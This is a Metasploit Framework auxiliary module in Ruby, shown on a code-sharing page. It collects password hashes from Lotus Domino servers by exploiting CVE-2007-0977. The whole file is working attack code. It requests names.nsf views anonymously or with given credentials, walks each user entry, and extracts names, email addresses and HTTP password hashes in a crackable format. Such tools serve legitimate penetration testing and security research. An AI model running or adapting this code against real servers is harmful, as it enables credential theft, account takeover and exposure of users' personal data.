Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
include Msf::Auxiliary::Scanner
10
11
def initialize
12
super(
13
'Name' => 'Lotus Domino Password Hash Collector',
14
'Description' => 'Get users passwords hashes from names.nsf page',
15
'Author' => 'Tiago Ferreira <tiago.ccna[at]gmail.com>',
16
'License' => MSF_LICENSE,
17
'References' => [
18
['CVE', '2007-0977']
19
]
20
)
21
22
register_options(
23
[
24
OptString.new('NOTES_USER', [false, 'The username to authenticate as', '']),
25
OptString.new('NOTES_PASS', [false, 'The password for the specified username' ]),
26
OptString.new('URI', [false, 'Define the path to the names.nsf file', '/names.nsf'])
27
]
28
)
29
end
30
31
def post_auth?
32
true
33
end
34
35
def run_host(ip)
36
user = datastore['NOTES_USER']
37
pass = datastore['NOTES_PASS']
38
@uri = normalize_uri(datastore['URI'])
39
40
if user.eql?('') && pass.eql?('')
41
print_status("#{peer} - Lotus Domino - Trying dump password hashes without credentials")
42
43
begin
44
res = send_request_raw({
45
'method' => 'GET',
46
'uri' => "#{@uri}\/$defaultview?Readviewentries",
47
}, 25)
48
49
if res.nil?
50
print_error('Connection failed')
51
return
52
end
53
54
if res && res.body.to_s =~ /\<viewentries/
55
print_good("#{peer} - Lotus Domino - OK names.nsf accessible without credentials")
56
cookie = ''
57
get_views(cookie, @uri)
58
59
elsif res && res.body.to_s =~ /names.nsf\?Login/
60
print_error("#{peer} - Lotus Domino - The remote server requires authentication")
61
return :abort
62
63
else
64
print_error("#{peer} - Lotus Domino - Unrecognized #{res.code} response")
65
vprint_error(res.to_s)
66
return :abort
67
68
end
69
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
70
rescue ::Timeout::Error, ::Errno::EPIPE
71
end
72
73
else
74
print_status("#{peer} - Lotus Domino - Trying dump password hashes with given credentials")
75
do_login(user, pass)
76
end
77
end
78
79
def do_login(user = nil, pass = nil)
80
post_data = "username=#{Rex::Text.uri_encode(user.to_s)}&password=#{Rex::Text.uri_encode(pass.to_s)}&RedirectTo=%2Fnames.nsf"
81
82
begin
83
res = send_request_cgi({
84
'method' => 'POST',
85
'uri' => '/names.nsf?Login',
86
'data' => post_data
87
}, 20)
88
89
if res.nil?
90
print_error("#{peer} - Connection timed out")
91
return
92
end
93
94
if res && res.code == 302
95
if res.get_cookies =~ /DomAuthSessId=(.*);(.*)/i
96
cookie = "DomAuthSessId=#{$1}"
97
elsif res.get_cookies =~ /LtpaToken=(.*);(.*)/i
98
cookie = "LtpaToken=#{$1}"
99
else
100
print_error("#{peer} - Lotus Domino - Unrecognized 302 response")
101
return :abort
102
end
103
print_good("#{peer} - Lotus Domino - SUCCESSFUL authentication for '#{user}'")
104
print_status("#{peer} - Lotus Domino - Getting password hashes")
105
get_views(cookie, @uri)
106
107
elsif res && res.body.to_s =~ /names.nsf\?Login/
108
print_error("#{peer} - Lotus Domino - Authentication error: failed to login as '#{user}'")
109
return :abort
110
111
else
112
print_error("#{peer} - Lotus Domino - Unrecognized #{res.code} response")
113
return :abort
114
end
115
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
116
rescue ::Timeout::Error, ::Errno::EPIPE
117
end
118
end
119
120
def get_views(cookie, uri)
121
begin
122
res = send_request_raw({
123
'method' => 'GET',
124
'uri' => "#{uri}\/$defaultview?Readviewentries",
125
'cookie' => cookie
126
}, 25)
127
if res && res.body
128
max = res.body.scan(/siblings=\"(.*)\"/).first.join
129
130
1.upto(max.to_i) do |i|
131
res = send_request_raw({
132
'method' => 'GET',
133
'uri' => "#{uri}\/$defaultview?Readviewentries&Start=#{i}",
134
'cookie' => cookie
135
}, 25)
136
137
view_id = res.body.scan(/unid="([^\s]+)"/)[0].join
138
dump_hashes(view_id, cookie, uri)
139
end
140
141
end
142
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
143
rescue ::Timeout::Error, ::Errno::EPIPE
144
end
145
end
146
147
def dump_hashes(view_id, cookie, uri)
148
begin
149
res = send_request_raw({
150
'method' => 'GET',
151
'uri' => "#{uri}\/$defaultview/#{view_id}?OpenDocument",
152
'cookie' => cookie
153
}, 25)
154
155
if res && res.body
156
doc = res.get_html_document
157
short_name = doc.xpath('//input[@name="ShortName"]/@value').text
158
user_mail = doc.xpath('//input[@name="InternetAddress"]/@value').text
159
pass_hash = doc.xpath('//input[@name="$dspHTTPPassword" or @name="dspHTTPPassword"]/@value').first&.text
160
161
short_name = 'NULL' if short_name.to_s.strip.empty?
162
user_mail = 'NULL' if user_mail.to_s.strip.empty?
163
pass_hash = 'NULL' if pass_hash.to_s.strip.empty?
164
165
print_good("#{peer} - Lotus Domino - Account Found: #{short_name}, #{user_mail}, #{pass_hash}")
166
167
if pass_hash != 'NULL'
168
domino_svc = report_service(
169
:host => rhost,
170
:port => rport,
171
:name => (ssl ? 'https' : 'http')
172
)
173
174
report_cred(
175
user: short_name,
176
password: pass_hash,
177
proof: "WEBAPP=\"Lotus Domino\", USER_MAIL=#{user_mail}, HASH=#{pass_hash}, VHOST=#{vhost}"
178
)
179
end
180
end
181
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
182
rescue ::Timeout::Error, ::Errno::EPIPE
183
end
184
end
185
186
def report_cred(opts)
187
service_data = service_details.merge({ workspace_id: myworkspace_id })
188
189
credential_data = {
190
origin_type: :service,
191
module_fullname: fullname,
192
username: opts[:user],
193
private_data: opts[:password],
194
private_type: :nonreplayable_hash,
195
jtr_format: 'dominosec'
196
}.merge(service_data)
197
198
login_data = {
199
core: create_credential(credential_data),
200
status: Metasploit::Model::Login::Status::UNTRIED,
201
proof: opts[:proof]
202
}.merge(service_data)
203
204
create_credential_login(login_data)
205
end
206
end
207
208